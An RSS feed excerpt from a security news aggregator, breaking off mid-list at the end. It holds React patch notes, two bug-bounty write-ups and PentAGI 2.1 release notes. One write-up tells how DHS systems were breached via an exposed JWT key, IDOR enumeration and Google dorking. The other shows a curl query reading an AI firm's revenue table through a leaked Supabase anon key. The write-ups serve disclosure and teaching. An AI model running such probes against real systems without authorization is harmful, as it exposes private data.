<title><![CDATA[19.1.8 (June 1st, 2026)]]></title>
<description><![CDATA[React Server Components

Fixed missing FormData entries in Server Actions which regressed in 19.1.7
(#36567 by @unstubbable)]]></description>
<link>https://tsecurity.de/de/3564016/downloads/1918-june-1st-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3564016/downloads/1918-june-1st-2026/</guid>
<pubDate>Mon, 01 Jun 2026 20:16:15 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>React Server Components</h2>
<ul>
<li>Fixed missing <code>FormData</code> entries in Server Actions which regressed in 19.1.7<br>
(<a href="https://github.com/facebook/react/pull/36567" data-hovercard-type="pull_request" data-hovercard-url="/facebook/react/pull/36567/hovercard">#36567</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/unstubbable/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/unstubbable">@unstubbable</a>)</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[19.2.7 (June 1st, 2026)]]></title>
<description><![CDATA[React Server Components

Fixed missing FormData entries in Server Actions which regressed in 19.2.6
(#36566 by @unstubbable)]]></description>
<link>https://tsecurity.de/de/3564015/downloads/1927-june-1st-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3564015/downloads/1927-june-1st-2026/</guid>
<pubDate>Mon, 01 Jun 2026 20:16:14 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>React Server Components</h2>
<ul>
<li>Fixed missing <code>FormData</code> entries in Server Actions which regressed in 19.2.6<br>
(<a href="https://github.com/facebook/react/pull/36566" data-hovercard-type="pull_request" data-hovercard-url="/facebook/react/pull/36566/hovercard">#36566</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/unstubbable/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/unstubbable">@unstubbable</a>)</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[How I Became the #1 Security Researcher on the DHS Vulnerability Disclosure Program]]></title>
<description><![CDATA[How I Became the #1 Security Researcher on the DHS Vulnerability Disclosure Program (October 2024 — April 2025)The StoryIt started with checking my visa petition status online. Six months later, I was the #1 security researcher for the Department of Homeland Security, responsible for 8 out of 11 ...]]></description>
<link>https://tsecurity.de/de/3559929/hacking/how-i-became-the-1-security-researcher-on-the-dhs-vulnerability-disclosure-program/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3559929/hacking/how-i-became-the-1-security-researcher-on-the-dhs-vulnerability-disclosure-program/</guid>
<pubDate>Sun, 31 May 2026 03:22:27 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>How I Became the #1 Security Researcher on the DHS Vulnerability Disclosure Program (October 2024 — April 2025)</h3><h3>The Story</h3><p>It started with checking my visa petition status online. Six months later, I was the #1 security researcher for the Department of Homeland Security, responsible for 8 out of 11 critical vulnerabilities found across their systems from October 2024 to April 2025.</p><p>Here’s how it happened.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*01ILRzFRXcI_UWGaw9xuMw.png"></figure><h3>It Started with a Bug in My Own Visa Case</h3><p>I wasn’t looking for security vulnerabilities when I found my first one. I was just checking my visa petition status online, like I’d done dozens of times before.</p><p>One day, the UI looked different. Something had changed. As a security engineer, I couldn’t help myself. I opened the browser console to see what was going on under the hood.</p><p>The code looked weird. There were these esoteric variable names that didn’t make sense. I kept digging, and that’s when I found it: an exposed secret key sitting right there in an environment variable. This key was used for signing JWT bearer tokens, which meant I could generate valid authentication tokens with just an email address and call a bunch of private APIs.</p><p>This turned out to be a critical vulnerability. I reported it through the DHS Vulnerability Disclosure Program and figured that was that.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KdMtqW8lOiDZOvByDmJB6A.png"></figure><p>Then I had a thought.</p><h3>The Government Uses Contractors</h3><p>If one developer made this mistake, they probably made similar mistakes elsewhere. The U.S. government contracts out a lot of web development work, and developers tend to reuse the same patterns across projects.</p><p>I decided to fingerprint those weird variable naming conventions I’d seen. They were distinctive enough that I could potentially track them across different projects.</p><p>Then I got systematic about it:</p><ul><li>Used subfinder to enumerate over 20,000 DHS in scope domains and subdomains</li><li>Wrote a script to scan all of them, looking for regex matches of those esoteric variable patterns in the source code</li><li>From that I found 4 additional websites with similar fingerprints</li></ul><p>Time to dig in.</p><h3>Thanksgiving Weekend</h3><p>I spent Thanksgiving weekend writing the enumeration scripts and testing these four sites.</p><p>Most of what I found was standard stuff: IDORs, exposed secrets, broken access controls, sensitive data exposure. It was great that the fingerprinting technique had worked.</p><p>But one site was particularly interesting. It was just a login page. I had no account and couldn’t access the functionality.</p><p>Since it was a React application, the source code was sitting right there in the browser. I could see the component structure and API endpoints even if I couldn’t access them directly.</p><p>I started mapping out the API surface from the client-side code. With some help from AI tools to speed things up, I reverse engineered how the requests worked and started testing for vulnerabilities.</p><p>For one API I started guessing IDs to test for IDOR (Insecure Direct Object Reference) vulnerabilities. This is when you can access other users’ data just by changing an ID in a request. I tried 123456 and got a corrupted PDF. Tried some alphanumeric patterns I saw before but nothing was working. Then I accidentally reran 123456 and a valid PDF loaded with PII. I accidentally deleted the 6 and typed 12345. It worked.</p><p>It was a simple enumerated IDOR found in an API buried in obfuscated code. An attacker could just iterate through sequential IDs and download thousands of pdfs containing PII. Honestly, I had no idea what this API or website did. I just got lucky finding it and this turned into a critical.</p><p>By the end of Thanksgiving weekend, I’d found an additional 1 critical, 2 high, 1 medium, and 1 low severity bugs across those systems.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GIAwLQ-HUQ0TIht1YrCKUA.png"></figure><p>My scanner also found a high-severity bug in a U.S. General Services Administration product used in a DHS app, and a medium-severity bug for the Department of the Treasury.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/391/1*GXTsP_XsY3CIZ13VQTJ_sQ.png"></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/788/1*g4RvLlK-uHT2y2hHFRWlww.png"></figure><h3>Going Deeper</h3><p>A few months later, the U.S. rejected my visa petition. Naturally, I decided to take another look at the USCIS systems. 🙃</p><p>This time I wasn’t just doing surface-level testing. I went deeper and actually tried to enumerate all the features properly. Something I was too lazy to do the first time around.</p><p>I found 6 more critical vulnerabilities and reported them through the VDP.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wNItkX9cNCa6dmpdATq8pg.png"></figure><p>Two of them were fixed within 24 hours after I reported them. I was genuinely surprised. That’s incredibly fast for any organization. I believe the severity of those two issues may have played a part in this.</p><h3>Google Dorking for Access</h3><p>I also decided to properly pentest another one of the four websites. Going deeper meant being more thorough about feature enumeration.</p><p>The problem was I needed a special company license ID just to access a lot of additional functionality and APIs. This is a special ID you get when your company is registered with the DHS, kind of like a driver’s license number. It was a long alphanumeric that was too long to guess and they would check if the ID was valid in the system.</p><p>So I used Google Dorking to find someone’s company license ID. I searched for things like intext:"LicenseName" filetype:pdf. Got to page 16 of Google results and found some company's Google Drive PDF that had been indexed. Inside was a document with the company license ID I needed.</p><p>With that, I could access more of the application and test the APIs properly. This resulted in 4 additional critical vulnerabilities.</p><h3>The Results</h3><p>In total over six months:</p><ul><li>8 critical findings</li><li>3 high-severity findings</li><li>1 medium-severity finding</li><li>1 low-severity finding</li></ul><p>During this period (October 2024 — April 2025), there were only 11 critical findings shown on the crowd stream for the DHS VDP. I was responsible for 8 of them.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GubPdMjqheLDk2F4v0HXjQ.png"></figure><p>I received thank-you letters from both Hemant Baidwan, the DHS Chief Information Security Officer, and Amanda Day, the Chief Information Security Officer Directorate, which stated: “You have been essential in defending the homeland by identifying vulnerabilities prior to adversarial exploitation and protecting some of the most critical technologies in the U.S.”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kTMzW1Ef_n_UF5YAJ7mLWQ.png"></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/811/1*5dpLilscRCDop3SH5GMoZg.png"></figure><p>I am grateful for the recognition. These systems process sensitive data for millions of people. I’m proud to say my efforts led to these issues being fixed before malicious actors could exploit them, helping protect critical national security infrastructure.</p><h3>What Actually Worked</h3><p>Here’s what made this possible:</p><p><strong>Pattern recognition</strong>: Developers reuse patterns. If you find one mistake, look for similar ones elsewhere.</p><p><strong>Systematic enumeration</strong>: Don’t just look at one site. Scale your reconnaissance with automation.</p><p><strong>Client-side analysis</strong>: Modern web apps expose their architecture in the JavaScript. Use it.</p><p><strong>Going deep</strong>: The first pass finds the obvious stuff. The second pass finds the real issues.</p><p><strong>Creative information gathering</strong>: Sometimes you need information that’s not technical, like that company license ID from Google Dorking.</p><p><strong>Persistence</strong>: The good findings often take multiple attempts and different approaches.</p><h3>Zero Trust Architecture</h3><p>Most of these vulnerabilities came down to one thing: lack of Zero Trust principles.</p><p>Systems were trusting things they shouldn’t:</p><ul><li>Missing authorization checks (not verifying access rights per request)</li><li>Predictable IDs (enabling IDOR attacks)</li><li>Client-side security (exposed secrets)</li><li>Sensitive data exposure (unnecessary information leakage)</li></ul><p>Zero Trust means “never trust, always verify.” Every request needs to be authenticated and authorized, regardless of where it comes from. A lot of these systems weren’t doing that.</p><h3>Final Thoughts</h3><p>Going from checking my own visa petition status to becoming the #1 researcher on the DHS VDP wasn’t planned. It started with curiosity and turned into a systematic approach to finding patterns across government systems.</p><p>The DHS Vulnerability Disclosure Program was the best government program I’ve worked with. They fixed issues incredibly fast, not just fast for a government organization, but fast for <em>any</em> organization. Two of my critical findings were patched within 24 hours. I felt that every report was taken seriously. Since my initial reporting period, I’ve noticed a significant improvement in the security posture of DHS websites. They now have stronger protections against various attack vectors that weren’t there before. In the six months after my reporting period ended (June 12, 2025 to December 7, 2025), only two critical vulnerabilities appeared on the DHS CrowdStream. That’s a dramatic reduction from the prior period.</p><p>The vulnerabilities are fixed, and the systems are more secure. As the DHS Chief Information Security Officer noted, this work was essential in defending the homeland and protecting critical U.S. technologies. Millions of Americans interact with these systems every day for border crossings, immigration services, and customs processes. They’re all safer now because these critical flaws were found and fixed before adversaries could exploit them.</p><p><strong>A Quick Note on the Visa Petition</strong></p><p>The visa petition was an EB2-NIW (National Interest Waiver), which lets you self-petition for a green card if your endeavor is in the national interest of the U.S. The first filing received an RFE (Request for Evidence) then was rejected. I put it together myself and missed some documentation on the RFE. I refiled in June 2025 with help from a law firm, and the second petition was better put together.</p><p>Hopefully this time it’s approved.</p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=cf75da2b83be" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/how-i-became-the-1-security-researcher-on-the-dhs-vulnerability-disclosure-program-cf75da2b83be">How I Became the #1 Security Researcher on the DHS Vulnerability Disclosure Program</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[How I Exposed an AI Company’s Finances]]></title>
<description><![CDATA[Disclosure Notice: This vulnerability was responsibly disclosed to the affected company. The issue has been fully remediated (RLS enforced, credentials rotated). All sensitive identifiers — company name, database URLs, API keys, and exact financial figures — have been redacted. This post is publi...]]></description>
<link>https://tsecurity.de/de/3559915/hacking/how-i-exposed-an-ai-companys-finances/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3559915/hacking/how-i-exposed-an-ai-companys-finances/</guid>
<pubDate>Sun, 31 May 2026 03:04:39 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<blockquote><strong><em>Disclosure Notice:</em></strong><em> This vulnerability was responsibly disclosed to the affected company. The issue has been fully remediated (RLS enforced, credentials rotated). All sensitive identifiers — company name, database URLs, API keys, and exact financial figures — have been redacted. This post is published with the company’s acknowledgement.</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/0*V9wJXdUl3vYQkjKU.png"><figcaption><a href="https://artwithsymbols.com/odilon-redons-dark-symbolism/">Odilon Redon’s Dark Symbolism</a></figcaption></figure><h3>The Hunter’s Mindset: The Assumption Gap</h3><p>In the rush to deploy cutting-edge AI, security often rests on a single point of failure: <strong>configuration</strong>. Developers frequently assume that because a Database-as-a-Service (DBaaS) like Supabase provides a “public” anon key, the data behind it is automatically shielded.</p><p>As a Threat Researcher, my mindset is different:</p><blockquote>“If a key is public, I must assume every table it can reach is public — until I prove otherwise.”</blockquote><p>This is the story of how a routine frontend audit uncovered a critical <strong>Material Non-Public Information (MNPI)</strong> leak at a high-growth AI company.</p><h3>Step 1: Reconnaissance &amp; JavaScript Static Analysis</h3><p>The hunt began on the frontend of the target. Modern web applications — especially those using no-code builders like Webflow — rely on “glue code”: custom JavaScript bundles injected to handle dynamic data rendering, such as populating pricing pages.</p><p>I opened <strong>Chrome DevTools</strong> and navigated to the <strong>Sources</strong> tab. I identified a production npm package responsible for the company’s pricing page logic. Using the browser’s <strong>Pretty Print</strong> feature, I de-obfuscated the bundle and ran a regex search for supabase.</p><h3>Step 2: Credential Extraction</h3><p>Within the bundle, I found the initialization of a Supabase client. While the anon key is intended to be client-side safe, its presence <strong>shifts 100% of the security burden onto Row Level Security (RLS)</strong>.</p><p><strong>The Discovery:</strong></p><pre>import { createClient } from '@supabase/supabase-js';</pre><pre>// Initialization discovered during static analysis<br>const SUPABASE_URL = "https://[REDACTED].supabase.co";<br>const SUPABASE_ANON_KEY = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...[REDACTED]";</pre><pre>const supabase = createClient(SUPABASE_URL, SUPABASE_ANON_KEY);</pre><h3>Step 3: The Logical Pivot — Investigative Enumeration</h3><p>Having extracted a valid anon key, I had a working identity to present to the database. The question became: <em>what could I reach with it?</em></p><p><strong>My hypothesis:</strong> The engineering team likely enforced RLS on user-facing tables — the ones directly rendered in the UI. But internal “helper” tables — those used for caching pre-calculated metrics — are frequently an afterthought. Developers create them for performance reasons, never intending them to be API-accessible, and then forget to apply RLS during security reviews.</p><p>This is the <strong>Assumption Gap</strong> in practice.</p><p><strong>Why </strong><strong>arr_cache specifically?</strong> This required understanding how developers think, not just how code works. When a pricing page needs to display real-time business metrics (like growth rates), engineers rarely query raw transaction tables on every page load — that's expensive. Instead, they create a lightweight <strong>cache table</strong> that stores a pre-aggregated snapshot. The naming convention almost writes itself:</p><ul><li>arr → Annual Recurring Revenue, the north-star SaaS metric</li><li>_cache → a pre-computed aggregate, refreshed on a schedule</li></ul><p>This wasn’t a lucky guess. It was <strong>researcher intuition built on understanding developer architecture patterns</strong>. In Supabase’s PostgREST model, every table is automatically exposed as an API endpoint at /rest/v1/&lt;table_name&gt;. Finding a table name is finding an attack surface.</p><p>I moved from the browser entirely to the terminal — bypassing all frontend UI filters and React logic — to query the PostgREST API directly.</p><p><strong>The Researcher’s Logic:</strong></p><p>Evidence Inference The “Aha!” Moment Leaked anon key in JS bundle This key has a database role attached to it I have an identity — now test what doors it opens Hardcoded Supabase URL The database is directly exposed, not proxied I can bypass the frontend entirely with cURL Pricing page renders growth metrics A cache table almost certainly exists behind this Target arr_cache — the canonical naming pattern</p><p><strong>The Attack Command:</strong></p><pre>curl -X GET "https://[REDACTED].supabase.co/rest/v1/arr_cache?select=*" \<br>  -H "apikey: [REDACTED_ANON_KEY]" \<br>  -H "Authorization: Bearer [REDACTED_ANON_KEY]"</pre><h3>Step 4: The Impact</h3><p>The server returned a <strong>200 OK</strong> — bypassing all authentication. The payload exposed live, highly sensitive business metrics.</p><p><strong>The Response (figures redacted):</strong></p><pre>[<br>  {<br>    "id": 1,<br>    "current_arr": "[REDACTED — $XX.XM+]",<br>    "pct_growth_30d": "[REDACTED — XX%]",<br>    "updated_at": "2026-04-01T05:21:05.715Z"<br>  }<br>]</pre><p>For any company — especially an AI firm — real-time ARR and growth rate data represents board-level, investor-sensitive information. This is a textbook <strong>Broken Access Control (BAC)</strong> vulnerability leading to direct disclosure of <strong>Material Non-Public Information (MNPI)</strong>.</p><blockquote><strong><em>Triage Note:</em></strong><em> The company’s security team triaged this report as </em><strong><em>Critical severity</em></strong><em> and moved to remediation within 24 hours — confirming that “guessable internal tables with missing RLS” is a threat they take seriously, not a theoretical edge case. The speed of the fix is itself evidence of impact.</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*O1QZgvQAsPlA9HtMVEeqZg.png"><figcaption>bounty reward</figcaption></figure><h3>Step 5: Remediation &amp; Verification</h3><p>Upon responsible disclosure, the security team acknowledged the severity immediately. Because the anon key had been exposed with broad permissions, the fix required two actions:</p><ol><li><strong>Global Key Rotation</strong> — Invalidating the compromised key across all environments.</li><li><strong>RLS Enforcement</strong> — Applying a strict DENY ALL policy to the arr_cache table and auditing all internal tables.</li></ol><p><strong>Verification (24 hours later):</strong></p><pre>curl -X GET "https://[REDACTED].supabase.co/rest/v1/arr_cache?select=*" \<br>  -H "apikey: [ROTATED_KEY]"</pre><pre>{ "message": "Invalid API key" }</pre><h3>Conclusion: Lessons for the AI Era</h3><p>Lesson Takeaway <strong>Client-Side is Public Space</strong> If a key is in your JS bundle, treat it as a fully public credential. <strong>RLS is Not Optional</strong> In Supabase, every table should have a DENY ALL policy by default — including internal cache tables. <strong>Audit Your "Glue" Code</strong> Custom scripts connecting third-party tools (Webflow, Framer, etc.) are often the weakest link in your security chain. <strong>Naming Conventions Are Signals</strong> Tables named arr_cache, internal_metrics, or admin_data are prime targets for enumeration.</p><h3>About the Author</h3><p><strong>Ashish Bogati</strong> is a Threat Researcher and Security Auditor specializing in cloud architecture, modern web infrastructure, and responsible disclosure.</p><p><em>Tags: #ThreatResearch #BugBounty #Supabase #CyberSecurity #InfoSec #ResponsibleDisclosure #BrokenAccessControl #MNPI</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=d1e162a3b996" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/how-i-exposed-an-ai-companys-finances-d1e162a3b996">How I Exposed an AI Company’s Finances</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[2.1.0]]></title>
<description><![CDATA[PentAGI 2.1 — File Management, Knowledge Base, ToolCall Observability, and Assistant Flow Control
This release adds a complete file management layer (user resource libraries and flow workspace files with container sync), a first-class Knowledge Base with semantic search and anonymization, real-ti...]]></description>
<link>https://tsecurity.de/de/3557523/it-security-tools/210/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3557523/it-security-tools/210/</guid>
<pubDate>Sat, 30 May 2026 01:04:48 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<hr>
<div align="center">
<p><strong>PentAGI 2.1 — File Management, Knowledge Base, ToolCall Observability, and Assistant Flow Control</strong></p>
<p>This release adds a complete file management layer (user resource libraries and flow workspace files with container sync), a first-class Knowledge Base with semantic search and anonymization, real-time ToolCall logging, and assistant tools to monitor and steer running flows. It also refreshes model configurations across OpenAI, Anthropic, Gemini, DeepSeek, Qwen, Kimi, and GLM, a broad frontend modernization pass (React 19, Apollo Client v4, Vite 8), and a wide range of stability and security fixes.</p>
<p><a href="https://discord.gg/2xrMh7qX6m" rel="nofollow"><img src="https://camo.githubusercontent.com/a21b1aed16f00dca6c20dfd5f774cad885564c0ca567b5287064678f9dd4a9ad/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f446973636f72642d3732383944413f6c6f676f3d646973636f7264266c6f676f436f6c6f723d7768697465" alt="Discord" data-canonical-src="https://img.shields.io/badge/Discord-7289DA?logo=discord&amp;logoColor=white"></a>⠀<a href="https://t.me/+Ka9i6CNwe71hMWQy" rel="nofollow"><img src="https://camo.githubusercontent.com/6330f08e9a6011f0cce3ae560b8c13095d4add60454cb914dfdbf33c3bbabdf2/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f54656c656772616d2d3243413545303f6c6f676f3d74656c656772616d266c6f676f436f6c6f723d7768697465" alt="Telegram" data-canonical-src="https://img.shields.io/badge/Telegram-2CA5E0?logo=telegram&amp;logoColor=white"></a></p>
</div>
<hr>
<h3>Major Features</h3>
<h4><strong>User Resources &amp; Flow Files</strong></h4>
<p>A new file management layer lets users bring their own files into PentAGI and share them with agents.</p>
<ul>
<li><strong>User Resources</strong> — a persistent, per-user file library with MD5-deduplicated storage and a virtual path filesystem. Full REST and GraphQL CRUD (upload, mkdir, move, copy, delete, download), real-time subscriptions, and atomic multi-source / multi-path batch operations.</li>
<li><strong>Flow files</strong> — per-flow workspace files that sync into worker containers at <code>/work/uploads</code> and <code>/work/resources</code>. Files can be pulled back out of a running container and promoted into the user library. Attached files are injected into agent system prompts as a structured <code>&lt;task_files&gt;</code> block, so the assistant is aware of what the user provided.</li>
<li><strong>File Manager UI</strong> — a reusable tree component with multi-select, keyboard navigation, drag-and-drop, sortable columns, bulk actions, and an overwrite workflow. Used by both the new <code>/resources</code> page and the flow Files tab.</li>
<li><strong>Limits and hardening</strong> — enforced on both ends: 300 MB per file, 1000 files per request, 2 GB total, 255-byte names. Upload paths are protected against directory traversal and symlink escapes.</li>
</ul>
<h4><strong>Knowledge Base Management</strong></h4>
<p>The pgvector memory store is now a first-class, user-manageable resource rather than agent-only auto-storage.</p>
<ul>
<li>GraphQL/REST CRUD plus <strong>semantic search</strong> over the knowledge store, with admin/user scoping, per-user document ownership, re-embedding on update, and real-time subscriptions.</li>
<li>A new <code>/knowledges</code> interface with list and detail pages, a TipTap markdown editor, partial updates, inline rename/delete, and a collapsible semantic-search input (hotkey-accessible).</li>
<li><strong>Text anonymization</strong> — a new <code>anonymizeText</code> service (GraphQL/REST) to scrub sensitive data, surfaced directly in the knowledge editor.</li>
<li>The vector search engine was rewritten onto direct, parameterized SQL queries — fixing a bug where document IDs were dropped and removing unsafe SQL string interpolation.</li>
</ul>
<h4><strong>ToolCall Observability</strong></h4>
<p>Individual agent tool calls are now logged through a dedicated provider and exposed via GraphQL queries and subscriptions plus a REST API, giving real-time, inspectable visibility into every command, search, and action an agent performs during a flow.</p>
<h4><strong>Assistant Flow Management</strong></h4>
<p>The interactive assistant can now observe and steer active flows without leaving the chat. New tools let the assistant read flow status (with multiple detail levels), stop a flow, submit input to a waiting flow, patch subtasks, and block until a task completes. A summarizer cache avoids redundant LLM calls when reporting flow state.</p>
<h4><strong>Unified Agent Language Policy</strong></h4>
<p>A single, consistent language policy now spans all agent prompts: vector-store and search-engine queries are forced to English for retrieval consistency, while user-facing messages follow the engagement language. Template variables and tool access were aligned with each agent's actual runtime tool set.</p>
<hr>
<h3>New Capabilities</h3>
<h4><strong>Updated Provider Configurations &amp; Models</strong></h4>
<p>Built-in model configurations were refreshed across multiple providers — OpenAI, Anthropic, Gemini, DeepSeek, Qwen, Kimi, and GLM — to match the current model landscape, with updated model lists, pricing, and context windows.</p>
<ul>
<li><strong>Per-role thinking control</strong> — reasoning models such as DeepSeek and Qwen now toggle thinking mode per agent role, so utility roles run without thinking (and honor their sampling parameters) while reasoning, tool-use, and security-analysis roles keep it enabled.</li>
<li><strong>New reference configurations</strong> — <strong>vLLM Qwen 3.6</strong> (thinking and non-thinking, including 35B FP8 variants) bundled in the Docker image, and an <strong>Azure OpenAI</strong> example.</li>
<li><strong>Ollama</strong> now surfaces a clear, actionable error when the selected model does not support tool/function calling, instead of a deeply nested stack trace.</li>
</ul>
<h4><strong>Per-Model Analytics</strong></h4>
<p>A new query surfaces token usage broken down by model and agent type within a single flow, integrated into the flow dashboard.</p>
<h4><strong>Configuration</strong></h4>
<ul>
<li><code>TERMINAL_TOOL_TIMEOUT</code> — configurable terminal command timeout (default raised to 1200 seconds, with clamping for out-of-range values).</li>
<li>PostgreSQL connection pooling — shared pools for sqlc, GORM, and pgvector with new tunables <code>DB_MAX_OPEN_CONNS</code>, <code>DB_MAX_IDLE_CONNS</code>, and <code>DB_VECTOR_MAX_CONNS</code>.</li>
<li><code>EMBEDDING_MAX_TEXT_BYTES</code> — caps the text size sent to the embedding model.</li>
<li>The Settings API now exposes <code>version</code> and <code>isDevelopMode</code>.</li>
</ul>
<hr>
<h3>Frontend Modernization</h3>
<p>A broad pass touched nearly every list and detail page.</p>
<ul>
<li><strong>Unified list tables</strong> — URL-synced filtering, pagination, sorting, and column visibility, with multi-column search ("Search in" column picker) and contextual empty states.</li>
<li><strong>Detail navigation</strong> — Prev/Position/Next navigation between sibling records, with an in-sheet searchable list.</li>
<li><strong>Inline actions</strong> — rename, finish, and delete directly from flow, template, and knowledge headers and list rows.</li>
<li><strong>Per-route document titles</strong> — browser tabs now reflect the actual page (including live flow titles), driven by a centralized title registry.</li>
<li><strong>Mobile UX</strong> — responsive headers that collapse to icon-only buttons, a unified flow attachment/template picker, and a compact dashboard period switcher.</li>
<li><strong>Performance</strong> — dashboard period-switch interaction latency reduced from 434 ms to 134 ms, the PDF renderer is lazy-loaded (cutting the report route's initial JS by ~1.5 MB), the knowledge provider is scoped to its own routes (avoiding a ~2.1 MB payload on every page), filtering is debounced, and rename/favorite actions update optimistically for instant feedback.</li>
<li><strong>Platform upgrades</strong> — React 19, Apollo Client v4, Vite 8 (Rolldown), TypeScript 6, Zod v4, the graphql-codegen v6/v7 toolchain, and the shadcn new-york-v4 component style. The frontend test suite grew from 475 to 541 tests.</li>
<li><strong>Accessibility</strong> — aria-labels across icon-only buttons, form-field id/name fixes, and Radix dialog compliance.</li>
</ul>
<hr>
<h3>Bug Fixes &amp; Reliability</h3>
<h4><strong>Flow &amp; Agent Execution</strong></h4>
<ul>
<li><strong>Task cancellation</strong> — subtask generation now runs under a cancellable context, so cancelling a task no longer reports a false success.</li>
<li><strong>Custom prompts</strong> — user prompt overrides saved in Settings → Prompts are now actually applied to new assistant and flow sessions (they were silently using the defaults).</li>
<li><strong>Malformed tool-call JSON</strong> — truncated or invalid LLM arguments now fall back to an empty object instead of triggering LiteLLM 400 errors and infinite retry loops; literal control characters in arguments are sanitized before storage.</li>
<li><strong>Subscription backpressure</strong> — events are dropped for slow or disconnected subscribers after a timeout, preventing goroutine accumulation.</li>
<li><strong>Deadlock fixes</strong> — resolved a deadlock in the log worker and a nil-channel deadlock when finishing an assistant session.</li>
<li><strong>Browser tool</strong> — small/empty page content now returns a warning rather than an error, binary URLs are reported clearly, and a failed screenshot no longer discards successfully fetched page content.</li>
</ul>
<h4><strong>Knowledge &amp; Data</strong></h4>
<ul>
<li>Vector search safety hardened (parameterized queries, memory documents excluded at the SQL level).</li>
<li>Fixed recursive resource retrieval over GraphQL, and resource move/copy responses now return the correct entries for client cache consistency.</li>
</ul>
<h4><strong>Frontend</strong></h4>
<ul>
<li>Fixed a production crash on flow detail pages caused by the minifier stripping function names from document-title components.</li>
<li>Eliminated several table state races (filter clearing, pagination URL loops, batched URL updates) and a GraphQL codegen issue that emitted duplicate types and broke the dev server.</li>
<li>API token names are no longer lost when a subscription refetches the table mid-edit; the default button type no longer triggers accidental form submits.</li>
</ul>
<hr>
<h3>Security</h3>
<ul>
<li>Flow file uploads are hardened against path traversal and symlink escapes, with size and count limits enforced on both the backend and the frontend.</li>
<li>Knowledge vector search uses parameterized queries, removing prior string-interpolated SQL.</li>
<li>New endpoints enforce user/admin privilege scoping, with dedicated privileges (<code>anonymize.call</code>, toolcall access) added via migration.</li>
<li>Text anonymization is available to scrub sensitive data from stored knowledge.</li>
</ul>
<hr>
<h3>Documentation</h3>
<p>Extensive user-facing documentation was added, including a first-use guide, a pentesting prompt methodology guide, memory lifecycle across flows, capability boundaries, OAuth callback setup, a Docker mirror guide for restricted networks, OSINT integration scenarios, the flow Files tab, DeepSeek V4 migration and pricing, and a clarification that Vertex AI is reachable today only via an OpenAI-compatible gateway. Two design RFCs — flow concurrency with completion webhooks, and MCP client integration — were added under <code>examples/proposals/</code> as design proposals with no runtime code yet.</p>
<hr>
<h3>Upgrade Notes</h3>
<ul>
<li><strong>DeepSeek</strong>: deployments using the legacy <code>deepseek-chat</code> / <code>deepseek-reasoner</code> model names should migrate to <code>deepseek-v4-flash</code> / <code>deepseek-v4-pro</code> before the upstream deprecation on 2026-07-24.</li>
<li><strong>Database</strong>: connection-pool settings were consolidated to <code>DB_MAX_OPEN_CONNS</code>, <code>DB_MAX_IDLE_CONNS</code>, and <code>DB_VECTOR_MAX_CONNS</code> — verify against <code>.env.example</code>.</li>
<li><strong>Terminal timeout</strong>: <code>TERMINAL_TOOL_TIMEOUT</code> default raised from 600 to 1200 seconds; review if a lower value was intentional.</li>
<li><strong>Frontend development</strong> now requires <code>pnpm</code> (previously npm).</li>
<li>Database migrations apply automatically at startup. After pulling, rebuild and restart: <code>docker compose build &amp;&amp; docker compose up -d</code>.</li>
</ul>
<hr>
<h2>Contributors</h2>
<h3>Core Team</h3>
<ul>
<li><a href="https://github.com/asdek">@asdek</a> (Dmitry Nagibin) — User resources &amp; flow files backend, knowledge base API and vector search, ToolCall logging, anonymizer, assistant flow management tools, agent language policy, provider model updates, database connection pooling, and flow reliability fixes</li>
<li><a href="https://github.com/sirozha">@sirozha</a> (Sergey Kozyrenko) — File Manager component, resources/knowledges/flow-files UI, unified list tables and multi-column search, detail navigation, document titles, mobile UX, frontend platform upgrade (React 19 / Apollo v4 / Vite 8), and performance &amp; accessibility work</li>
</ul>
<h3>External Contributors</h3>
<ul>
